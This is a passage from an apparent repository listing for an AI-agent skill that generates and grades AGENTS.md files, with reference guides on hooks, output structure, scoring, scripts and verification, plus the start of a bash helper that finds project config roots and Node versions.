      # Inside activated venv
      pre-commit install
      ```
      
      ## When No Hooks Exist
      
      If no hook framework is detected:
      
      1. **Do not skip this step.** The absence of hooks is a gap worth flagging.
      2. Suggest adding hooks to the project -- recommend Lefthook for polyglot repos, or the ecosystem-native tool (Husky for JS, CaptainHook for PHP, pre-commit for Python).
      3. See the `git-workflow` skill for hook framework setup guidance.
      
      ## Never Skip Hooks
      
      **NEVER** use `--no-verify` to bypass hooks. If a hook fails:
      
      1. Read the hook output to understand the failure.
      2. Fix the underlying issue (formatting, lint error, failing test).
      3. Stage the fix and commit again.
      
      Skipping hooks defeats their purpose and pushes problems to CI where they are more expensive to fix.
      
    • output-structure.md 5.1 KB
      # Output Structure
      
      ## Root File
      
      Root AGENTS.md (~50-80 lines) contains agent-optimized sections:
      
      | Section | Purpose | Format |
      |---------|---------|--------|
      | **Commands (verified)** | Executable commands with time estimates | Table with ~Time column |
      | **File Map** | Directory purposes for navigation | `dir/ -> purpose` format |
      | **Golden Samples** | Canonical patterns to follow | Table: For / Reference / Key patterns |
      | **Utilities List** | Existing helpers to reuse | Table: Need / Use / Location |
      | **Heuristics** | Quick decision rules | Table: When / Do |
      | **Boundaries** | Always/Ask/Never rules | Three-tier list |
      | **Codebase State** | Migrations, tech debt, known issues | Bullet list |
      | **Terminology** | Domain-specific terms | Table: Term / Means |
      | **Scope Index** | Links to scoped files | List with descriptions |
      
      ## Scoped Files
      
      Scoped AGENTS.md files cover six core areas (per [GitHub best practices](https://github.blog/ai-and-ml/github-copilot/how-to-write-a-great-agents-md-lessons-from-over-2500-repositories/)):
      1. **Commands** - Executable build, test, lint commands
      2. **Testing** - Test conventions and execution
      3. **Project Structure** - Architecture and key files
      4. **Code Style** - Formatting and conventions
      5. **Git Workflow** - Commit/PR guidelines
      6. **Boundaries** - Always do / Ask first / Never do
      
      Additional recommended sections:
      - Overview
      - Setup/Prerequisites
      - Security
      - Good vs Bad examples
      - When stuck
      - House Rules (for scoped overrides)
      - **Approved learnings** — titled rules appended by `/retro` (see [feedback-memory-schema.md](feedback-memory-schema.md))
      
      ### AGENTS.md is an index, not a rule dump
      
      When session learnings are approved (via `/retro` or similar), the rule is appended under `## Approved learnings` as a short titled block — AGENTS.md is the single project rule store, so there is no second file to keep in sync. Keep each rule to a title plus one or two sentences naming the trigger and the action; anything that needs more belongs in `docs/` with a pointer, the same as every other topic in this index. Repos that still carry a `docs/feedback/` tree from the earlier index-plus-file model keep working — see [feedback-memory-schema.md](feedback-memory-schema.md).
      
      Place `## Approved learnings` **after `## Key Decisions` and before `## Boundaries`** in the section order, and put it **outside** any `<!-- AGENTS-GENERATED:START ... -->` markers — this section is managed by retro-skill, not by `generate-agents.sh`, so it must survive `--update` runs.
      
      If the approved-learnings section would push AGENTS.md over the harness 150-line cap (`AH-02`), prune rules that no longer apply or move them to a scoped `AGENTS.md` next to the code they govern, rather than letting the section grow unbounded.
      
      ## When to Customize vs Auto-Generate
      
      ### Auto-Generate These Sections
      
      These sections are factual and extractable - let scripts handle them:
      
      | Section | Why Auto-Generate |
      |---------|-------------------|
      | **Commands** | Extract from Makefile/package.json - always accurate |
      | **File Map** | Directory listing is objective |
      | **Scope Index** | Detectable from filesystem structure |
      | **Language/Framework** | Detectable from config files |
      | **Test Commands** | Extract from CI config |
      
      ### Manually Curate These Sections
      
      These sections require human judgment - preserve them during updates:
      
      | Section | Why Manual |
      |---------|------------|
      | **Golden Samples** | Requires taste - which file exemplifies good patterns? |
      | **Heuristics** | Decision rules come from team experience |
      | **Boundaries** | Always/Ask/Never rules reflect team policy |
      | **Codebase State** | Tech debt awareness requires context |
      | **Terminology** | Domain knowledge is human insight |
      | **Architecture Decisions** | Why choices were made isn't extractable |
      
      ### Override Best Practices
      
      When updating existing AGENTS.md files, preserve custom content:
      
      **1. Use `--update` flag:**
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project --update
      ```
      This preserves content outside `<!-- GENERATED:START -->` / `<!-- GENERATED:END -->` markers.
      
      **2. Place custom content outside markers:**
      ```markdown
      <!-- GENERATED:START -->
      ## Commands (auto-generated)
      | Command | Purpose |
      |---------|---------|
      | `make test` | Run tests |
      <!-- GENERATED:END -->
      
      ## Custom Heuristics (preserved)
      | When | Do |
      |------|-----|
      | Adding endpoint | Create OpenAPI spec first |
      ```
      
      **3. Use scoped overrides for exceptions:**
      ```
      project/
      ├── AGENTS.md              # Global rules
      └── legacy/
          └── AGENTS.md          # "Ignore linting in this directory"
      ```
      
      **4. Review diffs before committing:**
      ```bash
      # After regenerating
      git diff AGENTS.md
      # Ensure custom sections weren't overwritten
      ```
      
      ## Directory Coverage
      
      When creating AGENTS.md files, create them in ALL key directories:
      
      | Directory | Purpose |
      |-----------|---------|
      | Root | Precedence, architecture overview |
      | `Classes/` or `src/` | Source code patterns |
      | `Configuration/` or `config/` | Framework config |
      | `Documentation/` or `docs/` | Doc standards |
      | `Resources/` or `assets/` | Templates, assets |
      | `Tests/` | Testing patterns |
      
    • quality-rubric.md 6.1 KB
      # AGENTS.md Quality Rubric
      
      Grade AGENTS.md files so you know which ones most need work. The grade has two
      layers that are **kept separate on purpose**:
      
      1. **Deterministic score** — `${CLAUDE_SKILL_DIR}/scripts/score-agents.sh PATH`. A 0-100 from the four
         verifier scripts; no model call, so re-running on an unchanged tree gives the
         same grade — except a file dated *today*, where git's bare-date `--since` can
         shift the Currency axis within the day.
      2. **Qualitative LLM overlay** — three axes a *reading agent* judges (below).
         These vary between runs, so they are **never folded into the deterministic
         number**; present them as a separate annotation.
      
      ## Deterministic axes (score-agents.sh)
      
      | Axis | Max | Source | What it measures |
      |------|-----|--------|------------------|
      | Structure | 25 | `validate-structure.sh --json` | Managed header, thin root, precedence, scope links, CLAUDE.md symlink, required scoped sections |
      | Currency | 20 | `check-freshness.sh --json` | Commits in scope since the file's "Last updated" date |
      | Content | 20 | `verify-content.sh --json` | Documented files/commands/counts that match reality |
      | Commands | 15 | `verify-commands.sh --json` | Documented commands that actually run (root only) |
      | Conciseness | 20 | line count vs budget | Root ≤50 lines ideal; scoped files get a larger budget |
      
      Per file: `percent = earned / (sum of applicable axis maxima) × 100`. Scoped
      files have no Commands axis (maxima sum to 85, normalised to 100).
      
      Grades: **A ≥90 · B ≥75 · C ≥50 · D ≥30 · F <30**.
      
      ## Qualitative LLM overlay (agent-judged)
      
      Run after the deterministic score. Read each AGENTS.md and rate three axes the
      scripts cannot measure. Use **strong / adequate / weak** with a one-line reason.
      
      | Axis | Strong | Weak |
      |------|--------|------|
      | **Architecture clarity** | A new agent can place code from the file alone — key dirs, module relationships, entry points | Vague or missing structure; "see the code" |
      | **Actionability** | Concrete, copy-paste commands, real paths, decisive heuristics ("squash-merge", "ask first") | Theoretical advice ("follow best practices", "write good tests") |
      | **Non-obvious patterns** | Captures what code can't tell you — ordering deps, quirks, "why we do it this way" | Only restates what the filenames already say |
      
      ### A convention needs a fill-in skeleton, not a paragraph
      
      Actionability is not only about commands. Where the file states a *convention*
      the agent has to reproduce — commit trailers, a message format, a required
      header — prose is followed partially even when it is read, because the agent's
      own defaults fill the gap. Give it a skeleton to copy, near the top.
      
      Measured 2026-09-18 on `TYPO3-Documentation/TYPO3CMS-Reference-CoreApi`, whose
      `AGENTS.md` states its commit trailers as prose in two numbered rules: a clone
      with one uncommitted edit, a headless session asked only for the commit
      message, Haiku 4.5, six runs per variant. The unchanged file is the baseline
      and was run twice, once against each later batch, so its column pools 12
      observations against the variants' 6.
      
      | | prose rules | + skeleton | + skeleton and "replace the example" |
      |---|---|---|---|
      | required trailer present and correct | 4 / 12 | 6 / 6 | 6 / 6 |
      | documented `Assisted-by:` form | 1 / 12 | 6 / 6 | 6 / 6 |
      | model correctly named | 0 / 12 | 1 / 6 | 6 / 6 |
      
      Two things the last column pays for:
      
      - **A concrete example is copied verbatim.** Five of six runs filed
        `Assisted-by: Claude Sonnet 5` while a different model was running — a
        skeleton turns a placeholder into an assertion unless it says to replace it.
      - **A placeholder loses the field.** Writing `<model name> <contact>` instead
        removed the false attribution by removing the trailer: it then appeared in
        1 of 6. Keep the example *and* say to replace it.
      
      The control matters for the axis, too. Removing the one-line `CLAUDE.md` that
      holds `@AGENTS.md`, and leaving `AGENTS.md` itself in place, took every
      trailer to 0 of 6 — the same as deleting both, 0 of 4. So in the runs above
      the rules were reaching the session the whole time, and what the skeleton
      fixes is compliance, not delivery. "Not followed" and "not loaded" look
      identical in the output and have different fixes; verify which one you have
      before rewriting content. Claude Code reaches the rules only through
      `CLAUDE.md`, never by the AGENTS.md name alone; see
      [`ai-tool-compatibility.md`](ai-tool-compatibility.md).
      
      ### How to feed it back: `--review`
      
      Rate each file, write the ratings to JSON, and pass it to the scorer. It keeps the
      deterministic grade as the headline and adds a clearly-labelled, **non-reproducible**
      secondary grade:
      
      ```bash
      cat > /tmp/review.json <<'JSON'
      {
        "AGENTS.md":     {"architecture":"strong","actionability":"adequate","non_obvious":"weak"},
        "web/AGENTS.md": {"architecture":"weak","actionability":"weak","non_obvious":"weak"}
      }
      JSON
      bash ${CLAUDE_SKILL_DIR}/scripts/score-agents.sh PATH --review /tmp/review.json
      ```
      
      ```
        B  78/100    AGENTS.md
             structure 25/25  currency 15/20  content 18/20  conciseness 20/20  commands 0/15
             with review: B ~75/100  (non-reproducible)
      ```
      
      Rating → fraction of the axis max: **strong = 1.0 · adequate = 0.6 · weak = 0.2**.
      Blended = `(deterministic_earned + llm_earned) / (deterministic_max + 25) × 100`.
      The headline `percent`/`grade` are **byte-identical** with or without `--review` —
      the overlay never moves the reproducible number.
      
      - The overlay's job is to catch files that **score well but read poorly** — e.g.
        structurally complete (B+) yet every line is obvious, or actionability is vague.
        Those are the highest-value edits.
      - The blended figure varies between reviews (model judgement); the deterministic
        headline stays put. Always cite both, never the blended number alone.
      
      ## Workflow
      
      1. `${CLAUDE_SKILL_DIR}/scripts/score-agents.sh PATH` → deterministic report (worst-first).
      2. Open the worst-graded files; run the three overlay axes on each.
      3. Fix highest-leverage gaps first (a `D` on Structure is mechanical; a `weak`
         on Non-obvious patterns needs human/session knowledge — see
         [`feedback-memory-schema.md`](feedback-memory-schema.md) and the retro-skill).
      
    • scripts-guide.md 7.5 KB
      # Scripts Guide
      
      Complete reference for all AGENTS.md generator scripts.
      
      ## Generating AGENTS.md Files
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project
      ```
      
      Options:
      - `--dry-run` - Preview changes without writing files
      - `--json` - Emit the write manifest as JSON instead of prose (see below)
      - `--verbose` - Show detailed output
      - `--style=thin` - Use thin root template (~30 lines, default)
      - `--style=verbose` - Use verbose root template (~100-200 lines)
      - `--update` - Update existing files only (preserves human edits outside generated markers)
      - `--claude-shim` - Generate CLAUDE.md that imports AGENTS.md (root only, legacy)
      - `--no-symlinks` - Do not create CLAUDE.md/GEMINI.md at any level. They are created by default at every level where an AGENTS.md is generated, which is what enables Claude Code on-demand loading and Gemini CLI native loading.
      - `--force` - Replace existing CLAUDE.md/GEMINI.md files that are not ours
      
      ### Write manifest (`--json`)
      
      One entry per path the run touches, following the `schema: 1` shape the verifier
      scripts use. With `--dry-run` it is a plan of what would be written; without it, a
      receipt of what was. Paths are relative to the project root.
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project --dry-run --json
      ```
      
      ```json
      {
        "script": "generate-agents",
        "schema": 1,
        "dry_run": true,
        "project": "/path/to/project",
        "summary": { "write": 1, "symlink": 1, "keep": 1 },
        "operations": [
          { "op": "write",   "kind": "agents-file", "path": "AGENTS.md" },
          { "op": "symlink", "kind": "compat-file", "path": "CLAUDE.md", "target": "AGENTS.md" },
          { "op": "keep",    "kind": "compat-file", "path": "GEMINI.md", "reason": "regular file" }
        ]
      }
      ```
      
      `op` is `write`, `symlink` or `keep`; `keep` means an existing file was left alone
      and carries the reason. Human output is suppressed under `--json`, so stdout is
      parseable on its own.
      
      ## Validating Structure
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/validate-structure.sh /path/to/project
      ```
      
      Options:
      - `--check-freshness, -f` - Also check if files are up to date with git commits
      - `--verbose, -v` - Show detailed output
      
      ## Checking Freshness
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/check-freshness.sh /path/to/project
      ```
      
      This script:
      - Extracts the "Last updated" date from the AGENTS.md header
      - Checks git commits since that date for files in the relevant scope
      - Reports if there are commits that might require AGENTS.md updates
      
      Options:
      - `--verbose, -v` - Show commit details and changed files
      - `--threshold=DAYS` - Days threshold to consider stale (default: 7)
      
      Example with full validation:
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/validate-structure.sh /path/to/project --check-freshness --verbose
      ```
      
      ## Detecting Project Type
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/detect-project.sh /path/to/project
      ```
      
      Detects project language, version, and build tools.
      
      ## Detecting Scopes
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/detect-scopes.sh /path/to/project
      ```
      
      Identifies directories that should have scoped AGENTS.md files.
      
      ## Extracting Commands
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/extract-commands.sh /path/to/project
      ```
      
      Extracts build commands from Makefile, package.json, composer.json, or go.mod.
      
      ## Extracting Documentation
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/extract-documentation.sh /path/to/project
      ```
      
      Extracts information from README.md, CONTRIBUTING.md, SECURITY.md, and other documentation.
      
      ## Extracting Platform Files
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/extract-platform-files.sh /path/to/project
      ```
      
      Extracts information from .github/, .gitlab/, CODEOWNERS, dependabot.yml, etc.
      
      ## Extracting IDE Settings
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/extract-ide-settings.sh /path/to/project
      ```
      
      Extracts information from .editorconfig, .vscode/, .idea/, etc.
      
      ## Extracting AI Agent Configs
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/extract-agent-configs.sh /path/to/project
      ```
      
      Extracts information from .cursor/, .claude/, copilot-instructions.md, etc.
      
      ## Verifying Content Accuracy
      
      **CRITICAL: Always run this before considering AGENTS.md files complete.**
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/verify-content.sh /path/to/project
      ```
      
      This script:
      - Checks if documented files actually exist
      - Verifies Makefile targets are real
      - Compares module/script counts against actual files
      - Reports undocumented files that should be added
      - Reports documented files that don't exist
      
      Options:
      - `--verbose, -v` - Show detailed verification output
      - `--fix` - Suggest fixes for common issues
      
      **This verification step is MANDATORY when updating existing AGENTS.md files.**
      
      ## Verifying Commands Work
      
      To prevent "command rot" (documented commands that no longer work):
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/verify-commands.sh /path/to/project
      ```
      
      This script:
      - Extracts commands from AGENTS.md tables and code blocks
      - Verifies npm/yarn scripts exist in package.json
      - Verifies make targets exist in Makefile
      - Verifies composer scripts exist in composer.json
      - Updates "Last verified" timestamp on success
      
      Options:
      - `VERBOSE=true` - Show detailed output
      - `DRY_RUN=true` - Don't update timestamp
      
      **Why this matters:** Research shows broken commands waste 500+ tokens as agents debug non-existent commands. Verified commands enable confident execution.
      
      ## Scoring Quality
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/score-agents.sh /path/to/project          # human report, worst-first
      bash ${CLAUDE_SKILL_DIR}/scripts/score-agents.sh /path/to/project --json   # machine-readable scoring
      ```
      
      Aggregates the `--json` output of the four verifier scripts into a **reproducible**
      0-100 grade per AGENTS.md file (A-F), ranked worst-first so you know where to spend
      effort. Same tree → same grade (no model call; CI-friendly).
      
      Axes: Structure 25 · Currency 20 · Content 20 · Commands 15 (root) · Conciseness 20.
      Scoped files have no Commands axis and normalise over the remaining 85.
      
      The four verifiers each gained a `--json` mode (strictly additive — default output
      is unchanged). For the qualitative LLM overlay (Architecture / Actionability /
      Non-obvious patterns), which is deliberately **not** part of the deterministic
      number, see [`quality-rubric.md`](quality-rubric.md).
      
      > Note: `score-agents.sh` grades whatever `validate-structure.sh` lists, which does
      > not honour `.gitignore` (it will include generated/vendored AGENTS.md under the
      > tree). Point it at a clean project root, or exclude such trees, for a clean grade.
      
      ## Post-Generation Validation Checklist
      
      **After generating AGENTS.md files, ALWAYS validate the output:**
      
      ```bash
      # 1. Run structure validation
      bash ${CLAUDE_SKILL_DIR}/scripts/validate-structure.sh /path/to/project --verbose
      
      # 2. Verify content accuracy
      bash ${CLAUDE_SKILL_DIR}/scripts/verify-content.sh /path/to/project
      
      # 3. Verify commands work
      bash ${CLAUDE_SKILL_DIR}/scripts/verify-commands.sh /path/to/project
      ```
      
      **Validation criteria:**
      
      | Check | Pass Criteria | Common Issues |
      |-------|---------------|---------------|
      | **Thin root** | Root AGENTS.md <= 80 lines | Duplicated scope content in root |
      | **All scopes covered** | Every major directory has AGENTS.md | Missing `Tests/`, `Configuration/` |
      | **No duplication** | Content appears in ONE location | Commands duplicated in root + scope |
      | **Commands verified** | All documented commands execute | Typos, renamed targets |
      | **Files exist** | All referenced files are real | Hallucinated paths |
      | **Links valid** | All cross-references resolve | Broken relative paths |
      
      **Never consider generation complete until all checks pass.**
      
    • verification-guide.md 9.3 KB
      # Verification Guide
      
      **NEVER trust existing AGENTS.md content as accurate.** Always verify documented information against the actual codebase.
      
      ## Mandatory Verification Steps
      
      1. **Extract actual state from source files:**
         - List all modules/files with their actual docstrings
         - List all scripts and their actual purposes
         - Extract actual Makefile/package.json commands
         - List actual test files and structure
      
      2. **Compare extracted state against documented state:**
         - Check if documented files actually exist
         - Check if documented commands actually work
         - Check if module descriptions match actual docstrings
         - Check if counts (modules, scripts, tests) are accurate
      
      3. **Identify and fix discrepancies:**
         - Remove documentation for non-existent files
         - Add documentation for undocumented files
         - Correct inaccurate descriptions
         - Update outdated counts and references
      
      4. **Preserve unverifiable content:**
         - Keep manually-written context that can't be extracted
         - Keep subjective guidance and best practices
         - Mark preserved content appropriately
      
      ## What to Verify
      
      | Category | Verification Method |
      |----------|---------------------|
      | Module list | `ls <dir>/*.py` + read docstrings |
      | Script list | `ls scripts/*.sh` + read headers |
      | Commands | `grep` Makefile targets **AND run them** |
      | Test files | `ls tests/*.py` |
      | Data files | `ls *.json` in project root |
      | Config files | Check actual existence |
      | **File names** | **EXACT match required** (not just existence) |
      | **Numeric values** | PHPStan level, coverage %, etc. from actual configs |
      
      ## Critical: Exact Name Matching
      
      File names in AGENTS.md must match actual filenames **exactly**:
      
      | Documented | Actual | Status |
      |------------|--------|--------|
      | `CowriterAjaxController.php` | `AjaxController.php` | **WRONG** - name mismatch |
      | `AjaxController.php` | `AjaxController.php` | Correct |
      
      **Real-world example from t3x-cowriter review:**
      - AGENTS.md documented `Controller/CowriterAjaxController.php`
      - Actual file was `Controller/AjaxController.php`
      - This mismatch confused agents trying to find the file
      
      ## Critical: Command Verification
      
      Commands documented in AGENTS.md must actually work when run:
      
      ```bash
      # BAD: Document without testing
      make test-mutation  # May not exist!
      
      # GOOD: Verify before documenting
      make -n test-mutation 2>/dev/null && echo "EXISTS" || echo "MISSING"
      ```
      
      **Real-world example from t3x-cowriter review:**
      - AGENTS.md documented `make test-mutation` and `make phpstan`
      - Neither target existed (actual was `make typecheck`)
      - Agents failed when trying to run documented commands
      
      ## Example Verification Commands
      
      ```bash
      # Extract actual module docstrings
      for f in cli_audit/*.py; do head -20 "$f" | grep -A5 '"""'; done
      
      # List actual scripts
      ls scripts/*.sh
      
      # Extract Makefile targets
      grep -E '^[a-z_-]+:' Makefile*
      
      # List actual test files
      ls tests/*.py tests/**/*.py
      ```
      
      ## Anti-Patterns to Avoid
      
      - **WRONG:** Updating only dates and counts based on git commits
      - **WRONG:** Trusting that existing AGENTS.md was created correctly
      - **WRONG:** Copying file lists without verifying they exist
      - **WRONG:** Using extracted command output without running it
      - **RIGHT:** Extract -> Compare -> Fix discrepancies -> Validate
      
      ## The scripts verify structure, not preservation
      
      `validate-structure.sh` and `score-agents.sh` answer "does this file have the right shape", never "is the knowledge still here". An update that deletes a hard-won convention to meet the line budget passes both, and scores *higher* afterwards, because conciseness is a graded dimension and lost knowledge is not.
      
      This is not hypothetical. In a 24-repo sweep on 2026-08-19 three updates were green on every script and still wrong: one dropped a curated response-style section, one dropped an "Implementation Conventions" block distilled from five PR review cycles, one wrote a file count into a repo whose own unit test forbids exactly that. Two of the three were caught by reading the diff; the third by CI.
      
      So after any update to an existing AGENTS.md, run the preservation check by hand:
      
      ```bash
      # Every heading the change removed -- each one needs an answer
      git diff <base>...HEAD -- AGENTS.md | grep -E '^-## '
      
      # For each, prove where it went (scoped file, docs/, an ADR) or that it is genuinely obsolete
      grep -rn "<distinctive phrase from the removed section>" AGENTS.md */AGENTS.md docs/
      ```
      
      Relocation is the normal, correct outcome — the [pointer principle](../SKILL.md) wants detail out of the root. Deletion is legitimate when the thing described no longer exists. What is never acceptable is *unaccounted* removal, and the scripts cannot tell the three apart. A removed heading with no successor is a finding, not a diff artifact.
      
      The mirror-image failure is characterizing a deletion you have not read: a diffstat gives size, not significance. Before calling removed content a loss, read it at the parent commit (`git show <commit>^:<path>`) and check whether what it documents still exists — in the same sweep, a 105-line file that looked like a painful loss turned out to document seven workflows deleted in that very commit.
      
      ## What NOT to Put in a Root AGENTS.md
      
      The **root** AGENTS.md is auto-loaded into every session -- each line spends prompt
      budget that is never reclaimed. Be ruthless here. (Scoped/subdirectory files load on
      demand, so they can carry more detail; this economy applies hardest to the root.)
      
      | Don't add | Why | Instead |
      |-----------|-----|---------|
      | Restating what the filename/code already says | The agent reads the code anyway | Document only what is *not* derivable |
      | Generic best practices ("write tests", "use clear names") | Universal advice, not project-specific | Cut it -- the model already knows |
      | One-off fixes ("fixed login bug in #123") | Won't recur; pure clutter | Cut it; it lives in git history |
      | Tutorials on well-known tech (what JWT/Docker *is*) | Wastes tokens on what the model knows | One line: the project's *choice*, not the lesson |
      | Duplicating a scoped file's content in root | Breaks the Pointer Principle | Link to the scoped `AGENTS.md` |
      
      ### Compression: bad -> good
      
      Each rewrite keeps the project-specific signal and drops the filler.
      
      **Obvious-code restatement**
      
      - BAD: `The UserService class handles user-related operations.`
      - GOOD: *(omit -- the class name already says this)*
      
      **Tutorial instead of the project's choice**
      
      - BAD: `Auth uses JWT. JSON Web Tokens (RFC 7519) are a compact, self-contained way to transmit signed claims as JSON; we picked HS256 because...`
      - GOOD: `Auth: JWT (HS256), Bearer token in the Authorization header.`
      
      **Generic advice**
      
      - BAD: `Always validate user input and write tests for new features.`
      - GOOD: *(omit -- universal, not specific to this repo)*
      
      **Prose where a pointer wins**
      
      - BAD: `To run the tests, first install dependencies with composer, then run the PHPUnit suite through the composer test script...`
      - GOOD: `Tests: composer test (PHPUnit). See Tests/AGENTS.md.`
      
      > **Litmus test:** *"Would a senior engineer who knows this stack but not this repo
      > learn something from this line?"* If no, cut it.
      
      ## Agent-Optimized Design
      
      This skill generates AGENTS.md files optimized for AI coding agent efficiency based on:
      - [Research showing 16.58% token reduction with good AGENTS.md](https://arxiv.org/html/2601.20404)
      - [GitHub best practices from 2,500+ repositories](https://github.blog/ai-and-ml/github-copilot/how-to-write-a-great-agents-md-lessons-from-over-2500-repositories/)
      - Multi-agent collaborative design (Claude + Gemini discussion)
      
      ### Key Design Principles
      
      1. **Structured over Prose** - Tables and maps parse faster than paragraphs
      2. **Verified Commands** - Commands that don't work waste 500+ tokens debugging
      3. **Pointer Principle** - Point to files, don't duplicate content
      4. **Time Estimates** - Help agents choose appropriate test scope
      5. **Golden Samples** - One example file beats pages of explanation
      6. **Heuristics Tables** - Eliminate decision ambiguity
      
      ### Token-Saving Sections
      
      | Section | Saves | How |
      |---------|-------|-----|
      | Commands (verified) | 500+ tokens | No debugging broken commands |
      | File Map | 3-5 search cycles | Direct navigation |
      | Golden Samples | Full rewrites | Correct patterns first time |
      | Utilities List | Duplicate code | Reuse existing helpers |
      | Heuristics | User correction cycles | Autonomous decisions |
      | Codebase State | Breaking changes | Avoid legacy/migration code |
      
      ## Capabilities
      
      - **Thin root files** (~50 lines) with precedence rules and agent-optimized tables
      - **Scoped files** for subsystems (backend/, frontend/, internal/, cmd/)
      - **Auto-extracted commands** from Makefile, package.json, composer.json, go.mod
      - **Language-specific templates** for Go, PHP, TypeScript, Python, hybrid projects
      - **Freshness checking** - Detects if AGENTS.md files are outdated by comparing their "Last updated" date with git commits
      - **Automatic timestamps** - All generated files include creation/update dates in the header
      - **Documentation extraction** - Parses README.md, CONTRIBUTING.md, SECURITY.md, CHANGELOG.md
      - **Platform file extraction** - Parses .github/, .gitlab/ templates, CODEOWNERS, dependabot.yml
      - **IDE settings extraction** - Parses .editorconfig, .vscode/, .idea/, .phpstorm/
      - **AI agent config extraction** - Parses .cursor/, .claude/, .windsurf/, copilot-instructions.md
      - **Extraction summary** - Verbose mode shows all detected settings and their sources
      
  • scripts
    • lib
      • config-root.sh 5.8 KB
        #!/usr/bin/env bash
        # Find nearest config root for a given stack type
        
        # Find nearest directory containing package.json (for Node scopes)
        # Usage: find_node_config_root "/path/to/scope"
        # Returns: directory path or empty string
        find_node_config_root() {
            local start_dir="$1"
            local search_dir="$start_dir"
        
            while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do
                if [[ -f "$search_dir/package.json" ]]; then
                    echo "$search_dir"
                    return 0
                fi
                search_dir=$(dirname "$search_dir")
            done
        
            # Check project root as fallback
            if [[ -f "package.json" ]]; then
                echo "."
                return 0
            fi
        
            return 1
        }
        
        # Find nearest directory containing composer.json (for PHP scopes)
        find_php_config_root() {
            local start_dir="$1"
            local search_dir="$start_dir"
        
            while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do
                if [[ -f "$search_dir/composer.json" ]]; then
                    echo "$search_dir"
                    return 0
                fi
                search_dir=$(dirname "$search_dir")
            done
        
            if [[ -f "composer.json" ]]; then
                echo "."
                return 0
            fi
        
            return 1
        }
        
        # Find nearest directory containing go.mod (for Go scopes)
        find_go_config_root() {
            local start_dir="$1"
            local search_dir="$start_dir"
        
            while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do
                if [[ -f "$search_dir/go.mod" ]]; then
                    echo "$search_dir"
                    return 0
                fi
                search_dir=$(dirname "$search_dir")
            done
        
            if [[ -f "go.mod" ]]; then
                echo "."
                return 0
            fi
        
            return 1
        }
        
        # Find nearest directory containing pyproject.toml or setup.py (for Python scopes)
        find_python_config_root() {
            local start_dir="$1"
            local search_dir="$start_dir"
        
            while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do
                if [[ -f "$search_dir/pyproject.toml" || -f "$search_dir/setup.py" ]]; then
                    echo "$search_dir"
                    return 0
                fi
                search_dir=$(dirname "$search_dir")
            done
        
            if [[ -f "pyproject.toml" || -f "setup.py" ]]; then
                echo "."
                return 0
            fi
        
            return 1
        }
        
        # Find Node workspace root (monorepo root)
        # Detects: pnpm-workspace.yaml, package.json with "workspaces", lerna.json, nx.json
        # Usage: find_node_workspace_root "/path/to/scope"
        # Returns: workspace root directory or empty string
        find_node_workspace_root() {
            local start_dir="$1"
            local search_dir="$start_dir"
        
            while [[ "$search_dir" != "." && "$search_dir" != "/" ]]; do
                # pnpm workspace
                if [[ -f "$search_dir/pnpm-workspace.yaml" ]]; then
                    echo "$search_dir"
                    return 0
                fi
        
                # npm/yarn workspaces (package.json with "workspaces" field)
                if [[ -f "$search_dir/package.json" ]]; then
                    if jq -e '.workspaces' "$search_dir/package.json" >/dev/null 2>&1; then
                        echo "$search_dir"
                        return 0
                    fi
                fi
        
                # Lerna monorepo
                if [[ -f "$search_dir/lerna.json" ]]; then
                    echo "$search_dir"
                    return 0
                fi
        
                # Nx monorepo
                if [[ -f "$search_dir/nx.json" ]]; then
                    echo "$search_dir"
                    return 0
                fi
        
                search_dir=$(dirname "$search_dir")
            done
        
            # Check project root as fallback
            if [[ -f "pnpm-workspace.yaml" ]]; then
                echo "."
                return 0
            fi
            if [[ -f "package.json" ]] && jq -e '.workspaces' "package.json" >/dev/null 2>&1; then
                echo "."
                return 0
            fi
            if [[ -f "lerna.json" || -f "nx.json" ]]; then
                echo "."
                return 0
            fi
        
            return 1
        }
        
        # Extract Node version from nearest config
        # Priority: package.json engines.node > .nvmrc > .node-version > .tool-versions
        get_node_version() {
            local config_root="$1"
            local version=""
        
            # Try package.json engines.node
            if [[ -f "$config_root/package.json" ]]; then
                version=$(jq -r '.engines.node // empty' "$config_root/package.json" 2>/dev/null)
                [[ -n "$version" ]] && echo "$version" && return 0
            fi
        
            # Try .nvmrc
            if [[ -f "$config_root/.nvmrc" ]]; then
                version=$(tr -d '[:space:]' < "$config_root/.nvmrc")
                [[ -n "$version" ]] && echo "$version" && return 0
            fi
        
            # Try .node-version
            if [[ -f "$config_root/.node-version" ]]; then
                version=$(tr -d '[:space:]' < "$config_root/.node-version")
                [[ -n "$version" ]] && echo "$version" && return 0
            fi
        
            # Try .tool-versions (asdf)
            if [[ -f "$config_root/.tool-versions" ]]; then
                version=$(grep '^nodejs ' "$config_root/.tool-versions" 2>/dev/null | awk '{print $2}')
                [[ -n "$version" ]] && echo "$version" && return 0
            fi
        
            return 1
        }
        
        # Extract JS framework from package.json dependencies
        get_js_framework() {
            local config_root="$1"
        
            [[ ! -f "$config_root/package.json" ]] && return 1
        
            local deps
            deps=$(jq -r '(.dependencies // {}) + (.devDependencies // {}) | keys[]' \
                   "$config_root/package.json" 2>/dev/null)
        
            # Check in priority order (more specific first)
            echo "$deps" | grep -qw 'next' && echo "next.js" && return 0
            echo "$deps" | grep -qw 'nuxt' && echo "nuxt" && return 0
